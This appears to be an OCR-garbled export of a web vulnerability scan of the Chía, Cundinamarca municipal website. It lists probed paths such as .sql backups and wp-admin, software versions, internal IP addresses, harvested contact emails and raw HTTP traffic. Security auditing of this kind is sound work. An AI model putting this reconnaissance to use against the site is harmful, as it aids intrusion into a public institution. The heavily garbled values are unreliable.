Last-Modified: Thu, 19 Dec 2024 01:50:55 GVl
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INSTANCE

https://chia-cundinamarca.gov.co/

Identification

PROOF
HTTP/ 1.1 400 Bad Request

OUTPUT
A response has been received with a response code '400' which may require further investigation to verify if this
response is due to an abnornal behavior of the target.

The response has been triggered by an HTTP GET request nade on the URL 'https://chia-cundi nanarca. gov. co/'

HTTP Info

REQUEST MADE
GET / HTTP/1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cont ent - Lengt h: x

RESPONSE HEADERS

HTTP/ 1.1 400 Bad Request

Server: ngi nx

Date: Thu, 19 Dec 2024 00:08:13 GMVI
Cont ent - Type: text/htn

Cont ent - Lengt h: 552

Connection: close

INSTANCE
https://chia-cundinamarca.gov.co/web/?cb=was_868_cvac

Identification

PROOF
HTTP/ 1.1 400 Bad Request

QUTPUT
A response has been received with a response code '400" which nay require further investigation to verify if this
response is due to an abnornal behavior of the target.

The response has been triggered by an HTTP GET request nade on the URL 'https://chia-cundi nanarca. gov. co/ web/"'

HTTP Info

REQUEST MADE
GET /web/ ?cb=was_868 cvac HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5
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X- Over si zed- Header :
XXXXXXXXXXXXXKXXXKKXXXXXKXKXKXKXKKKXXXXXKXKXKXKXKXKKKXXXXKXKXKXKXKXKKKXXXXXKXKXKXKXKXKXKKXXXXXXKXKXKXKKKKKXXXXKXKXKXKXKKKKKXXXXKXKKXKKKKKXXXXXKXKXKXKXKXKKKKXS

Cooki e: googtrans=/es/it

RESPONSE HEADERS

HTTP/ 1.1 400 Bad Request

Server: ngi nx

Date: Thu, 19 Dec 2024 00:31:11 GVIT
Cont ent - Type: text/htm

Cont ent - Lengt h: 628

Connection: close

INSTANCE
https://chia-cundinamarca.gov.co/web/wp-admin/admin-ajax.php

Identification

PROOF
HTTP/ 1.1 400 Bad Request

OUTPUT
A response has been received with a response code '400" which nay require further investigation to verify if this
response is due to an abnornal behavior of the target.

The response has been triggered by an HTTP TENB request nade on the URL 'https://chia-cundi namarca. gov. co/ web/ wp- admi n
[ admi n- aj ax. php' .

HTTP Info

REQUEST MADE
TENB / web/ wp- adnmi n/ adm n- aj ax. php HTTP/ 1. 1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 400 Bad Request

Server: nginx

Date: Thu, 19 Dec 2024 00:17:01 GVIT

Cont ent - Type: text/htm; charset=UTF-8
Transf er - Encodi ng: chunked

Connection: keep-alive

X- Robot s- Tag: noi ndex

Expires: Wed, 11 Jan 1984 05:00: 00 GVIT

Cache- Control: no-cache, must-revalidate, nmax-age=0

INSTANCE

https://chia-cundinamarca.gov.co/controlpanel/2021.sql

|dentification
PROOF
HTTP/ 1.1 503 Service Tenporarily Unavail abl e

OUTPUT
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A response has been received with a response code '503" which may require further investigation to verify if this
response is due to an abnornal behavior of the target.

The response has been triggered by an HTTP GET request nade on the URL 'https://chia-cundi namarca. gov. co/ control panel
/2021. sql ' .

HTTP Info

REQUEST MADE
GET /control panel /2021. sql HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzi p, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebkKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%8aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be4?2

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 02:03:21 GV

Content-Type: text/htm; charset=utf-8

Transf er - Encodi ng: chunked

Connection: keep-alive

X-Logged-1n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expi res: Wed, 17 Aug 2005 00: 00: 00 GVIT

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=1b07f 1b629258907f 01a6c4a2e4d5eb7; path=/; HttpOnly
Last-Modified: Thu, 19 Dec 2024 02:03:21 GVI

INSTANCE

https://chia-cundinamarca.gov.co/index.php

Identification

PROOF
HTTP/ 1.1 503 Service Tenporarily Unavail abl e

OUTPUT
A response has been received with a response code '503'" which may require further investigation to verify if this
response is due to an abnornal behavior of the target.

The response has been triggered by an HTTP GET request nmade on the URL 'https://chia-cundi nanarca. gov. co/ i ndex. php'.

HTTP Info

REQUEST MADE
CGET /index.php HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=af 48acd0337c32781e836e2adf 15b0a0

RESPONSE HEADERS
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HTTP/ 1.1 503 Service Tenporarily Unavail abl e
Server: ngi nx

Date: Thu, 19 Dec 2024 00:08:16 GVI
Content-Type: text/htm; charset=utf-8
Transfer - Encodi ng: chunked

Connection: keep-alive

X- Logged- I n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expires: Wed, 17 Aug 2005 00: 00: 00 GVIr

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0

Pragma: no-cache
Last - Modi fied: Thu, 19 Dec 2024 00:08: 16 GMI

INSTANCE

https://chia-cundinamarca.gov.co/web/wp-mail.php

Identification

PROOF
HTTP/ 1.1 403 For bi dden

OUTPUT

A response has been received with a response code '403'" which may require further

response is due to an abnornmal behavior of the target.

investigation to verify if this

The response has been triggered by an HTTP GET request nade on the URL 'https://chia-cundi nanarca. gov. co/ web/ wp- mai |

php' .

HTTP Info

REQUEST MADE
GET /web/ wp-nmai | . php HTTP/ 1.1

REQUEST HEADERS
Host: chi a- cundi namar ca. gov. co
Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM

Accept: */*
Accept - Language: en-US, en; g=0.5
Cooki e: googtrans=/es/fr

RESPONSE HEADERS

HTTP/ 1.1 403 Forbi dden

Server: nginx

Date: Thu, 19 Dec 2024 00:37:51 GVI
Cont ent - Type: text/htm; charset=UTF-8
Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Expires: Wed, 11 Jan 1984 05:00: 00 GMTI
Cache- Control: no-cache, must-revalidate, nax-age=0
Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/.htaccess

Identification
PROOF
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HTTP/ 1.1 403 For bi dden

OUTPUT
A response has been received with a response code '403'" which may require further investigation to verify if this
response is due to an abnornal behavior of the target.

The response has been triggered by an HTTP GET request nmade on the URL 'https://chia-cundi namarca. gov. co/ . htaccess'

HTTP Info

REQUEST MADE
GET /. htaccess HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 403 For bi dden

Server: nginx

Date: Thu, 19 Dec 2024 00:14:12 GVl
Content - Type: text/htm
Transfer-Encodi ng: chunked
Connection: keep-alive

Vary: Accept-Encodi ng

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/controlpanel/2019.sql

Identification

PROOF
HTTP/ 1.1 503 Service Tenporarily Unavail abl e

OUTPUT
A response has been received with a response code '503'" which may require further investigation to verify if this
response is due to an abnornal behavior of the target.

The response has been triggered by an HTTP GET request nade on the URL 'https://chia-cundi namarca. gov. co/ control pane
/2019. sql ' .

HTTP Info

REQUEST MADE
GET /control panel /2019. sql HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%8aHqQ 26kRGUsy?2Bt J9%2c4b043945560f da9514b19964b4b5be4?2

RESPONSE HEADERS
HTTP/ 1.1 503 Service Tenporarily Unavail abl e
Server: nginx
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Date: Thu, 19 Dec 2024 02:03:20 GVII

Content-Type: text/htm; charset=utf-8

Transfer-Encodi ng: chunked

Connection: keep-alive

X-Logged-1n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expires: Wed, 17 Aug 2005 00: 00: 00 GVIT

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=f 89df ale8f 3c3c38491166d247e3f dcf; path=/; HtpOnly
Last-Modi fied: Thu, 19 Dec 2024 02:03:20 GMI

INSTANCE
https://chia-cundinamarca.gov.co/2021.sql

Identification

PROOF
HTTP/ 1.1 503 Service Tenporarily Unavail abl e

OUTPUT
A response has been received with a response code '503'" which may require further investigation to verify if this
response is due to an abnornal behavior of the target.

The response has been triggered by an HTTP GET request nmade on the URL 'https://chia-cundi namarca. gov. co/ 2021. sql ' .

HTTP Info

REQUEST MADE
GET /2021.sql HTTP/1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 00:11:48 GVI

Content-Type: text/htm; charset=utf-8

Transfer-Encodi ng: chunked

Connection: keep-alive

X- Logged- I n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expires: Wed, 17 Aug 2005 00: 00: 00 GVIr

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=9f 70c2c3ca96b342116d65ecc086¢h7d; path=/; HitpOnly
Last-Modified: Thu, 19 Dec 2024 00:11:48 GV
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Technologies Detected

VULNERABILITY BINIgeN PLUGIN ID 98059

Description

This is an informational plugin to inform the user what technologies the framework has detected on the target application,

which can then be examined and checked for known vulnerable software versions

Solution

Only use components that do not have known vulnerabilities, only use components that when combined to not introduce a

security vulnerability, and ensure that a misconfiguration does not cause any vulnerabilities

See Also

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY
PLUGINID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2017-12-06T00:00:00+00:00
2023-11-17T00:00:00+00:00
Web Applications

Info

98059
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Technologies Detected Instances (1)

VULNERABILITY BINIgeN PLUGIN ID 98059

INSTANCE

https://chia-cundinamarca.gov.co/

Identification

OUTPUT
The framework has detected the follow ng technologies in the target application:

- jQuery U (v1.13.3)

- jQuery (v3.7.1)

- WordPress (v6. 6. 2)

- PHP (v7.4.33)

- Joom a! (version unknown)

- Bootstrap (version unknown)
- jQuery (v1.12.4)

- Medi aEl enent . Js (v2.17.0)

Web Application Scanning Detailed Scan Export:
SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/ Page 192 of 348


https://chia-cundinamarca.gov.co/

Cookies Collected

VULNERABILITY BINIgeN PLUGIN ID 98061

Description

The scanner collected the cookies returned by the application during the scan. The list includes the following information for
each cookie:

- Name: name of the cookie

- Value: value of the cookie

- Domain: hosts to which the cookie will be sent

- Path: URL path which must exist in the requested resource before sending the cookie

- Expires: maximum lifetime of the cookie as an HTTP-date timestamp

- Max-Age: number of seconds until the cookie expires

- HttpOnly: cookie is set to be not accessible via JavaScript, XMLHttpRequest and Request APIs
- Secure: cookie will be sent to the server only when a request is made using HTTPS

- SameSite: cookie will be sent along with cross-site request according the defined policy

- URL: first URL discovered which set the cookie in its response

- Set-Method: method used by the application to set the cookie (Set-Cookie or JavaScript)

- Audited: cookie will be audited by plugins during the scan

- Reason Not Audited: reason given for the cookie not being audited during the scan

Solution

See Also
https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
https://en.wikipedia.org/wiki/HTTP_cookie
https://tools.ietf.org/html/rfc6265

Plugin Details
PUBLICATION DATE 2020-09-01T00:00:00+00:00
MODIFICATION DATE 2023-11-17T00:00:00+00:00
FAMILY Web Applications
SEVERITY Info
PLUGIN ID 98061

Risk Information

CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE =
CVSSV3 VECTOR -
CVSS BASE SCORE =
CVSSVECTOR -
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Reference Information

CWE =
WASC

OWASP =
CVE

BID =
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Cookies Collected Instances (1)

VULNERABILITY BINIgeN PLUGIN ID 98061

INSTANCE
https://chia-cundinamarca.gov.co/

|dentification

OUTPUT

The follow ng cookies have been collected during the scan of the target:
- 8 cookie(s) specified via Set-Cookie

- 8 cookie(s) set via JavaScript code
The conplete list of the cookies is available in attachnment.
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Common Directories Detection

VULNERABILITY BINIgeN PLUGIN ID 98072

Description

Scanner has detected a common directory on the remote web server.

Web applications are often made up of multiple files and directories. It is possible that over time some directories may become
unreferenced (unused) by the web application and forgotten about by the administrator or developer. Because web applications
are built using common frameworks, they contain common directories that can be discovered (independent of server).

During the initial reconnaissance stages of an attack, cyber-criminals will attempt to locate unreferenced directories in the
hope that the directory will assist in further compromise of the web application. To achieve this, they will make thousands of
requests using word lists containing common names. The response headers from the server will then indicate if the directory
exists.

Solution

If directories are unreferenced, then they should be removed from the web root and/or the application directory.

Preventing access without authentication may also be an option and can stop a client from being able to view the contents of a
file; however, it is still likely that the directory structure will be able to be discovered.

Using obscure directory names is implementing 'security through obscurity' and is not a recommended option.

See Also

http://httpd.apache.org/docs/2.0/mod/mod_access.html
http://projects.webappsec.org/w/page/13246953/Predictable %20Resource%20Location
https://www.nginx.com/resources/admin-guide/restricting-access-auth-basic/
https://www.owasp.org/index.php/Forced_browsing

Plugin Details

PUBLICATION DATE 2017-03-31T00:00:00+00:00
MODIFICATION DATE 2024-01-03T00:00:00+00:00
FAMILY Web Servers

SEVERITY Info

PLUGIN ID 98072

Risk Information

CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE =
CVSSV3 VECTOR -
CVSS BASE SCORE =
CVSS VECTOR -

Reference Information
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https://www.owasp.org/index.php/Forced_browsing

CWE =
WASC -
OWASP =
CVE

BID =
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Common Directories Detection Instances (3)

VULNERABILITY BINIgeN PLUGIN ID 98072

INSTANCE

https://chia-cundinamarca.gov.co/controlpanel/

Identification

OUTPUT
The common directory 'control panel' was identified by the scanner.

HTTP Info

REQUEST MADE
GET /control panel/ HTTP/ 1.1

REQUEST HEADERS
Host: chi a- cundi namar ca. gov. co
Accept - Encodi ng: gzip, deflate, br

User-Agent: Mdzillal/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM,

Accept: */*
Accept - Language: en-US, en; g=0. 5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 00:10:37 GV
Cont ent - Type: text/htm

Transfer - Encodi ng: chunked
Connection: keep-alive

Vary: Accept - Encodi ng

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/images/

Identification

OUTPUT
The common directory 'inages' was identified by the scanner.

HTTP Info

REQUEST MADE
GET /inmages/ HITP/ 1.1

REQUEST HEADERS
Host: chi a- cundi namar ca. gov. co
Accept - Encodi ng: gzip, deflate, br

User-Agent: Mdzillal/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM,

Accept: */*
Accept - Language: en-US, en; g=0. 5

RESPONSE HEADERS

HTTP/ 1.1 200 K
Server: ngi nx
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Date: Thu, 19 Dec 2024 00:09:26 GVII
Cont ent - Type: text/htn

Cont ent - Length: 31

Connection: keep-alive

Last-Modified: Sun, 11 Dec 2016 21:51:10 GVI
Accept - Ranges: bytes

INSTANCE
https://chia-cundinamarca.gov.co/cache/

Identification

OUTPUT

The common directory 'cache' was identified by the scanner.

HTTP Info

REQUEST MADE
GET /cache/ HTTP/ 1.1

REQUEST HEADERS
Host: chi a- cundi namar ca. gov. co
Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzillal/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM,

Accept: */*
Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 00:10: 38 GVl

Cont ent - Type: text/htn

Cont ent - Length: 31

Connection: keep-alive

Last-Modified: Sun, 11 Dec 2016 21:51:10 GVI
Accept - Ranges: bytes
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Private IP Address Disclosure

VULNERABILITY MINZeN PLUGIN ID 98077

Description

Private, or non-routable, IP addresses are generally used within a home or company network and are typically unknown to
anyone outside of that network.

Cyber-criminals will attempt to identify the private IP address range being used by their victim, to aid in collecting further
information that could then lead to a possible compromise.

Scanner discovered that the affected page returned a RFC 1918 compliant private IP address and therefore could be revealing
sensitive information.

This finding typically requires manual verification to ensure the context is correct, as any private IP address within the HTML
body will trigger it.

Solution

Identifying the context in which the affected page displays a Private IP address is necessary.
If the page is publicly accessible and displays the Private IP of the affected server(or supporting infrastructure), then measures
should be put in place to ensure that the IP address is removed from any response.

See Also
http://projects.webappsec.org/w/page/13246936/Information%20Leakage

Plugin Details
PUBLICATION DATE 2017-03-31T00:00:00+00:00
MODIFICATION DATE 2024-12-03T00:00:00+00:00
FAMILY Data Exposure
SEVERITY Info
PLUGIN ID 98077

Risk Information

CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE =
CVSSV3 VECTOR -
CVSS BASE SCORE =
CVSSVECTOR -

Reference Information
CWE _

WASC -
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OWASP =
CVE -
BID =
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Private IP Address Disclosure Instances (1)

VULNERABILITY MINZeN PLUGIN ID 98077

INSTANCE

https://chia-cundinamarca.gov.co/

Identification

OUTPUT
Nunber of Private |IP Addresses Collected: 7

Li sted bel ow are each private ip address
10.10.16.11 found on 1 URL

10. 10.18.17 found on 1 URL

10.10. 16. 12 found on 1 URL

10.10.16.4 found on 1 URL

10. 10.18.16 found on 1 URL

169. 254. 169. 254 found on 1 URL

127.0.0.1 found on 1 URL
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E-mail Address Disclosure

VULNERABILITY MINIgeN PLUGIN ID 98078

Description

Email addresses are typically found on "Contact us" pages, however, they can also be found within scripts or code comments of
the application. They are used to provide a legitimate means of contacting an organisation.

As one of the initial steps in information gathering, cyber-criminals will spider a website and using automated methods collect
as many email addresses as possible, that they may then use in a social engineering attack.

Using the same automated methods, scanner was able to detect one or more email addresses that were stored within the
affected page.

Solution

E-mail addresses should be presented in such a way that it is hard to process them automatically.

See Also

Plugin Details
PUBLICATION DATE 2017-03-31T00:00:00+00:00
MODIFICATION DATE 2023-11-17T00:00:00+00:00
FAMILY Data Exposure
SEVERITY Info
PLUGIN ID 98078

Risk Information

CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE =
CVSSV3 VECTOR -
CVSS BASE SCORE =
CVSS VECTOR -

Reference Information

CWE S
WASC -
OWASP =
CVE -
BID S
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E-mail Address Disclosure Instances (1)

VULNERABILITY MINIgeN PLUGIN ID 98078

INSTANCE

https://chia-cundinamarca.gov.co/

Identification

QUTPUT

Nunber of Enmil Addresses Collected: 15

Li sted bel ow are each enmil address and the nunber of URLs where the enmil address has been found
at enci nPsi cosoci al @hi a. gov.co found on 1 URL

ont act enos@hi a. gov. co found on 21 URLs

cont act enos@hi a. gov.co found on 21 URLs

noti ficaci onesj udi ci al es@hi a. gov.co found on 21 URLs
notificationsjudicial es@hia.gov.co found on 15 URLs
esj udi ci al es@hi a. gov. co found on 7 URLs

webmast er @hi a- cundi namar ca. gov. co found on 1 URL

Ii cense@hp. net found on 1 URL

denunci as@nel .com found on 1 URL
clientescol onbi a@nel .com found on 1 URL
clienticol onbi a@nel.comfound on 1 URL
correspondenci a@nser chi a. gov.co found on 1 URL
corrispondenza@nser chi a.gov.co found on 1 URL

acl i ente@nserchi a. gov.co found on 1 URL
servizioclienti @rupovanti.comfound on 1 URL
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Target Information

VULNERABILITY MINIgeN PLUGIN ID 98136

Description

Publishes the target information of the starting url as evaluated by the scan.

Solution
See Also

Plugin Details
PUBLICATION DATE 2017-07-27T00:00:00+00:00
MODIFICATION DATE 2024-04-26T00:00:00+00:00
FAMILY General
SEVERITY Info
PLUGINID 98136

Risk Information

CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE =
CVSSV3 VECTOR -
CVSS BASE SCORE =
CVSSVECTOR -

Reference Information

CWE =
WASC -
OWASP =
CVE -
BID =
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Target Information Instances (1)

VULNERABILITY MINIgeN PLUGIN ID 98136

INSTANCE

https://chia-cundinamarca.gov.co/

Identification
OUTPUT

Access to URL 'https://chia-cundi namarca. gov.co/' has been confirned.

Target Information

Domai n Narme : chi a- cundi namar ca. gov. co
I P Address : 5.189.172.225

Response | nformation

Status Code : 302

Return Code : ok

Return Message: No error

Response Tine : 0.45191s

Response Size : 434 bytes

Content-Type : text/htm; charset=iso-8859-1

HTTP Info

REQUEST MADE
GET / HITP/1.1

REQUEST HEADERS
Host: chi a- cundi namar ca. gov. co
Accept - Encodi ng: gzip, deflate, br

User-Agent: Mdzillal/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM,

Accept: */*
Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 302 Found

Server: nginx

Date: Thu, 19 Dec 2024 00:02:28 GVI

Cont ent - Type: text/htm; charset=iso-8859-1
Cont ent - Lengt h: 221

Connection: keep-alive

Location: https://chia-cundi namar ca. gov. co/ web/
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Screenshot

VULNERABILITY MINIgeN PLUGIN ID 98138

Description

Screenshot of the target web page, see attached image. This screenshot should show you the target page we are launching the
scan against. If the image is not of the intended target page, please check the provided urlin the scan configuration.

Solution
See Also

Plugin Details
PUBLICATION DATE 2018-01-23T700:00:00+00:00
MODIFICATION DATE 2018-02-14T00:00:00+00:00
FAMILY General
SEVERITY Info
PLUGINID 98138

Risk Information

CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE =
CVSSV3 VECTOR -
CVSS BASE SCORE -
CVSSVECTOR -

Reference Information

CWE =
WASC -
OWASP S
CVE -
BID =
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Screenshot Instances (1)

VULNERABILITY MINIgeN PLUGIN ID 98138

INSTANCE
https://chia-cundinamarca.gov.co/

|dentification
OUTPUT
WAS Scanner has taken a screenshot of the page at url 'https://chia-cundi namarca. gov.co/' with dimensions 1585x1200.

Pl ease see the attachment for the screenshot inmage.
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Form Detected

VULNERABILITY BINIgeN PLUGIN ID 98148

Description

The scanner has detected the presence of a form during the crawling of the target web application. Details about the form are
provided in the plugin output.

Solution
See Also

Plugin Details
PUBLICATION DATE 2021-10-21T00:00:00+00:00
MODIFICATION DATE 2021-10-21T00:00:00+00:00
FAMILY Web Applications
SEVERITY Info
PLUGIN ID 98148

Risk Information

CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE =
CVSSV3 VECTOR -
CVSS BASE SCORE -
CVSSVECTOR -

Reference Information

CWE =
WASC -
OWASP S
CVE -
BID =
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Form Detected Instances (2)

VULNERABILITY BINIgeN PLUGIN ID 98148

INSTANCE

https://chia-cundinamarca.gov.co/web/

INPUT TYPE form
INPUT NAME combined:get::https://chia-cundinamarca.gov.co/web/

Identification

OUTPUT

A formwith no identifier has been detected on the follow ng URL https://chia-cundi namarca. gov. co/web/ with input
fields :

- s (search)

- clear-with-button (reset)

This formis subnmitted by using the followi ng action : https://chia-cundi namarca. gov. co/ web/

HTTP Info

REQUEST MADE
GET https://chia-cundi nanar ca. gov. co/ web/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt';v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 00: 15:28 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 1107>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/>; rel=shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

INPUT TYPE form
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INPUT NAME id:form-login

Identification

OUTPUT

A formwith identifier id "formlogin® has been detected on the follow ng URL https://chia-cundi namarca. gov. co/ i ndex. php
/tram tes-y-servicios/sisben with input fields :

- usernane (text)

- password (password)

- Submit (submt)

- option (hidden)

- task (hidden)

- return (hidden)

- 00edee66cd5367945f 8382f a07e3c676 (hi dden)

This formis subnmitted by using the followi ng action : https://chia-cundi namarca. gov. co/ i ndex. php/tram tes-y-servicios
/'si shen

HTTP Info

REQUEST MADE
GET /index. php/tranites-y-servicios/sisbhen HITP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%3aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be4?2; ti nezone=Etc/ UTC

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 04:01:41 GVI

Content-Type: text/htm; charset=utf-8

Transfer-Encodi ng: chunked

Connection: keep-alive

X- Logged- I n: Fal se

X- Cont ent - Power ed-By: K2 v2.8.0 (by Joom aWrks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expires: Wed, 17 Aug 2005 00: 00: 00 GMTI

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=a5b853b5f 45bde4860b15e2765387503; path=/; HitpOnly
Last-Modified: Thu, 19 Dec 2024 04:01:41 GV
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External URLs

VULNERABILITY BINIgeN PLUGIN ID 98154

Description

An external URL is an URL for which the Fully Qualified Domain Name (FQDN)is not the same as the web target URL one. The
scanner detected the presence of external URLs on the target web application and have listed them based on two types : URLs
with a domain name in common with the web target URL and all the other external URLs.

Solution
See Also

Plugin Details
PUBLICATION DATE 2022-11-30T00:00:00+00:00
MODIFICATION DATE 2022-12-12T00:00:00+00:00
FAMILY General
SEVERITY Info
PLUGIN ID 98154

Risk Information

CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE S
CVSSV3 VECTOR -
CVSS BASE SCORE =
CVSSVECTOR -

Reference Information

CWE =
WASC -
OWASP =
CVE -
BID =
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External URLs Instances (1)

VULNERABILITY BINIgeN PLUGIN ID 98154

INSTANCE
https://chia-cundinamarca.gov.co/

Identification

OUTPUT
The scanner detected the presence of 213 URLs on the target application:

- 138 URLs which use a hostnane related to the target hostnane
- 75 URLs which use a third party hostnane

The list of the detected URLs is provided in attachnent.
